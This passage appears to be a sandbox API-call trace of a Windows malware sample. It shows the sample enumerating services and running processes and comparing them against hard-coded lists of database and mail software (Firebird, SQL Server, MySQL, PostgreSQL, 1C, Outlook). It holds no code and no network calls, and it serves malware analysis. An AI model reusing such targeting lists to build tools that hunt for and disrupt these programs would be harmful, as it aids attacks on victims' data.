lpString2="MpsSvc") returned 1 [0163.671] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0163.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0163.671] lstrlenW (lpString="Netman") returned 6 [0163.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0163.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0163.671] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0163.671] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0163.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0163.671] lstrlenW (lpString="netprofm") returned 8 [0163.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0163.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0163.671] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0163.671] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0163.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0163.671] lstrlenW (lpString="NlaSvc") returned 6 [0163.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0163.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0163.671] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0163.671] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0163.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0163.671] lstrlenW (lpString="nsi") returned 3 [0163.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0163.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0163.672] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0163.672] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0163.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0163.672] lstrlenW (lpString="PcaSvc") returned 6 [0163.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0163.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0163.672] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0163.672] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0163.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0163.672] lstrlenW (lpString="PlugPlay") returned 8 [0163.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0163.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0163.672] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0163.672] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0163.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0163.672] lstrlenW (lpString="Power") returned 5 [0163.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0163.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0163.672] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0163.672] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0163.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0163.672] lstrlenW (lpString="ProfSvc") returned 7 [0163.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0163.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0163.672] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0163.672] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0163.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0163.673] lstrlenW (lpString="RpcEptMapper") returned 12 [0163.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0163.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0163.673] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0163.673] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0163.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0163.673] lstrlenW (lpString="RpcSs") returned 5 [0163.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0163.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0163.673] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0163.673] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0163.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0163.673] lstrlenW (lpString="SamSs") returned 5 [0163.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0163.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0163.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0163.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0163.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0163.673] lstrlenW (lpString="Schedule") returned 8 [0163.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0163.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0163.673] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0163.673] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0163.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0163.673] lstrlenW (lpString="SENS") returned 4 [0163.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0163.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0163.673] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0163.673] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0163.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0163.674] lstrlenW (lpString="ShellHWDetection") returned 16 [0163.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0163.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0163.674] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0163.674] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0163.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0163.674] lstrlenW (lpString="Spooler") returned 7 [0163.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0163.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0163.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0163.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0163.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0163.674] lstrlenW (lpString="SysMain") returned 7 [0163.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0163.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0163.674] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0163.674] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0163.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0163.674] lstrlenW (lpString="Themes") returned 6 [0163.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0163.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0163.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0163.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0163.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0163.674] lstrlenW (lpString="TrkWks") returned 6 [0163.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0163.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0163.674] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0163.674] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0163.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0163.675] lstrlenW (lpString="UxSms") returned 5 [0163.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0163.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0163.675] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0163.675] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0163.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0163.675] lstrlenW (lpString="WdiServiceHost") returned 14 [0163.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0163.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0163.675] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0163.675] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0163.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0163.675] lstrlenW (lpString="WdiSystemHost") returned 13 [0163.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0163.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0163.675] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0163.675] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0163.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0163.675] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0163.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0163.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0163.675] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0163.675] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0163.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0163.675] lstrlenW (lpString="Winmgmt") returned 7 [0163.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0163.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0163.676] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0163.676] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0163.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0163.676] lstrlenW (lpString="WPDBusEnum") returned 10 [0163.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0163.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0163.676] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0163.676] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0163.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0163.676] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x687228 | out: hHeap=0x630000) returned 1 [0163.676] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0163.677] Process32FirstW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0163.678] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0163.678] lstrlenW (lpString="System") returned 6 [0163.678] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0163.678] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0163.678] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0163.678] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0163.678] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0163.678] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0163.678] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0163.678] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0163.679] lstrlenW (lpString="smss.exe") returned 8 [0163.679] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0163.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0163.679] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0163.679] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0163.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0163.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0163.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0163.679] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.679] lstrlenW (lpString="csrss.exe") returned 9 [0163.679] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0163.679] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0163.679] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0163.679] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0163.679] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0163.679] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0163.679] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0163.679] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0163.680] lstrlenW (lpString="wininit.exe") returned 11 [0163.680] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0163.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0163.680] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0163.680] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0163.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0163.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0163.680] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0163.680] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0163.680] lstrlenW (lpString="csrss.exe") returned 9 [0163.680] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0163.680] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0163.680] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0163.680] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0163.680] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0163.680] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0163.681] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0163.681] lstrlenW (lpString="winlogon.exe") returned 12 [0163.681] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0163.681] lstrlenW (lpString="services.exe") returned 12 [0163.681] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0163.682] lstrlenW (lpString="lsass.exe") returned 9 [0163.682] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0163.682] lstrlenW (lpString="lsm.exe") returned 7 [0163.682] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.682] lstrlenW (lpString="svchost.exe") returned 11 [0163.682] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.683] lstrlenW (lpString="svchost.exe") returned 11 [0163.683] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.683] lstrlenW (lpString="svchost.exe") returned 11 [0163.683] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.683] lstrlenW (lpString="svchost.exe") returned 11 [0163.683] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.684] lstrlenW (lpString="svchost.exe") returned 11 [0163.684] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0163.684] lstrlenW (lpString="audiodg.exe") returned 11 [0163.684] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.684] lstrlenW (lpString="svchost.exe") returned 11 [0163.684] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0163.685] lstrlenW (lpString="explorer.exe") returned 12 [0163.685] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0163.685] lstrlenW (lpString="dwm.exe") returned 7 [0163.685] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.685] lstrlenW (lpString="svchost.exe") returned 11 [0163.685] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0163.686] lstrlenW (lpString="n.exe") returned 5 [0163.686] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0163.686] lstrlenW (lpString="spoolsv.exe") returned 11 [0163.686] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0163.686] lstrlenW (lpString="svchost.exe") returned 11 [0163.686] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0163.687] lstrlenW (lpString="taskhost.exe") returned 12 [0163.687] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0163.687] lstrlenW (lpString="reader_sl.exe") returned 13 [0163.687] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0163.687] lstrlenW (lpString="n.exe") returned 5 [0163.687] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0163.688] lstrlenW (lpString="n.exe") returned 5 [0163.688] Process32NextW (in: hSnapshot=0x320, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0163.688] CloseHandle (hObject=0x320) returned 1 [0163.688] Sleep (dwMilliseconds=0x1f4) [0164.368] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x42f9640 [0164.368] EnumServicesStatusExW (in: hSCManager=0x42f9640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0164.369] GetLastError () returned 0xea [0164.369] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x687228 [0164.369] EnumServicesStatusExW (in: hSCManager=0x42f9640, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x687228, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x687228, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0164.370] CloseServiceHandle (hSCObject=0x42f9640) returned 1 [0164.370] lstrlenW (lpString="Appinfo") returned 7 [0164.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0164.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0164.370] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0164.370] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0164.370] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0164.370] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0164.370] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0164.370] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") 